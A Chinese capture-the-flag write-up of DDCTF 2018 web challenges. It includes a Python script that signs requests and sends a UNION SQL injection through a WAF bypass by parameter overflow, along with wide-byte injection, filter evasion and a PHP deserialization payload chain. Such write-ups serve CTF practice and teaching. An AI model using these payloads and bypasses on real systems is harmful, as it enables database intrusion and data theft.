2018DDCTF writeup

Posted by kingkk on 2018-04-23

前言

DDCTF实在被虐的有点惨,中途就放弃了(逃……)
只能赛后复现一下,不间断更新。。

数据库的秘密

进入第一步是一个ip验证
用firefox的插件,添加一个x-forwarded-for 的header就行

进入之后是个简单的查询功能

任意查询之后发送给一个包,发现多了一个author参数

回到html页面,发现的确有这个隐藏的form值

经过一些尝试之后发现如下几点
1、其他的非隐藏值都有被过滤,无法进行注入。但是对author进行admin'#admin' and 1#测试是发现存在注入
2、有安全狗拦截
3、不能进行任意发包,会对sig和time参数进行校验 接下来就是把关注点转移到被隐藏的author字段中,并绕过安全狗和前端校验

前端校验的代码主要在两个js文件中

math.js中主要是一些给main.js用的函数库,主要来看下main.js

进行了js混淆,在网上找个在线的就可以还原,还原代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function signGenerate(obj, key) {
var str0 = '';
for (i in obj) {
if (i != 'sign') {
str1 = '';
str1 = i + '=' + obj[i];
str0 += str1
}
}
return hex_math_enc(str0 + key)
};
var obj = {
id: '',
title: '',
author: '',
date: '',
time: parseInt(new Date().getTime() / 1000)
};

function submitt() {
obj['id'] = document.getElementById('id').value;
obj['title'] = document.getElementById('title').value;
obj['author'] = document.getElementById('author').value;
obj['date'] = document.getElementById('date').value;
var sign = signGenerate(obj, key);
document.getElementById('queryForm').action = "index.php?sig=" + sign + "&time=" + obj.time;
document.getElementById('queryForm').submit()
}

看到是对传递的参数进行加密,生成sign和time后再进行发送 这里要调用一个python的execjs库,来调用JavaScript代码,生成sign和time值(不得不说一句,python是有点强) 对main.js函数改造一下,返回获取sign和time值的函数

1
2
3
4
5
6
7
8
9
10
11
function get_sig(id,title,author,date) {
obj['id'] = id;
obj['title'] = title;
obj['author'] = author;
obj['date'] = date;
var sign = signGenerate(obj, key);
return sign;
}
function get_time(){
return obj.time;
}

还有一点就是,绕过安全狗
参照大佬的一招——参数溢出 https://github.com/Bypass007/vuln/blob/master/OpenResty/OpenResty%20uri参数溢出漏洞.md
大致意思就是说传递的参数过多时,会放弃对后面参数的检测 最后,python发包的代码如下的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#encoding=utf8
import execjs, requests

_id = ""
title =""
author = "admin' union select (select column_name from information_schema.columns where table_name='ctf_key7' limit 0,1),(select secvalue from ctf_key7 limit 0,1),(database()),(select table_name from information_schema.tables where table_schema='ddctf' limit 0,1),5 #"
date = ""

with open("test.js","r") as f:
js = f.read()

func = execjs.compile(js)

headers = {"X-Forwarded-For":"123.232.23.245"}

data = {
'UBD':'rS',
'sgh':'N5',
'ytV':'52',
'htx':'s6',
……(省略一百个)
'3Em':'Og',
'xZO':'cJ',
'ceX':'OF',
'eTu':'an',
'5pc':'b6',

'id' : _id,
'title' : title,
'author' : author,
'date' : date
}
sig = func.call('get_sig',_id,title,author,date)
time = func.call('get_time')
url = "http://116.85.43.88:8080/EHZTYREPPGMCQLNB/dfe3ia/index.php?sig={}&time={}".format(sig,time)
r = requests.post(url,data=data,headers=headers)
with open("dd.html","w+",encoding='utf8') as f:
f.write(r.text)
print("ok")

调用js文件,生成对应的sign和time,然后发送对应的数据包,将返回的页面保存到本地html中,便于观察,此处直接用union注入就行

专属链接

java才刚开始学语法,里面一些加密算法实在有些看不懂,先占个位……

注入的奥妙

进去是一个简单的查询功能,题目都说了注入了,先试下注入

发现被转义,提示页面编码设置 查看源码发现一个奇怪的注释链接,进去之后是一个编码表的链接


emm,应该是宽字节注入 挑一个5c结尾的字符(%5c转义后为 \),就可以成功闭合转义单引号前面的反斜杠

接下来就可以进行注入了,union被过滤双写即可
重点在一个route_rules的表中

先下载static/bootstrap/css/backup.css这个文件,改成.zip后缀解压即可得到备份文件

然后就是一波辛酸的代码审计(路由配置有点迷。。)
Test.php中有个很明显的反序列化漏洞

触发反序列化的类在Justtry.php中

主要还是路由配置。这里就不多分析了
主要是dispath调用checkurl传递参数给param数组,然后调用invoke函数进行对应类下对应函数的调用
这里主要就是justtry.try函数,在数据库的路由配置中也明显能看出
接下来就是构造反序列化的对象
test类中的uuid即为自己的uuid,fl是一个Flag对象,Flag对象中需要一个SQL对象才能调用对应的sql语句输出flag,构造代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    <?php
Class Test{
}
Class Flag{
}
Class SQL{
}

$t = new Test() ;
$t->user_uuid = "5d71b644-ee63-4b11-9c13-da3c4ac35b8d"; //自己的uuid
$t->fl = new Flag();
$t->fl->sql = new SQL();

echo serialize($t);

O:4:"Test":2:{s:9:"user_uuid";s:36:"5d71b644-ee63-4b11-9c13-da3c4ac35b8d";s:2:"fl";O:4:"Flag":1:{s:3:"sql";O:3:"SQL":0:{}}}

但是反序列化函数中做了一点点小小的限定

做一点小小的改动

1
O:17:"Index\Helper\Test":2:{s:9:"user_uuid";s:36:"5d71b644-ee63-4b11-9c13-da3c4ac35b8d";s:2:"fl";O:17:"Index\Helper\Flag":1:{s:3:"sql";O:16:"Index\Helper\SQL":0:{}}}

在justtry/try页面中post改数据即可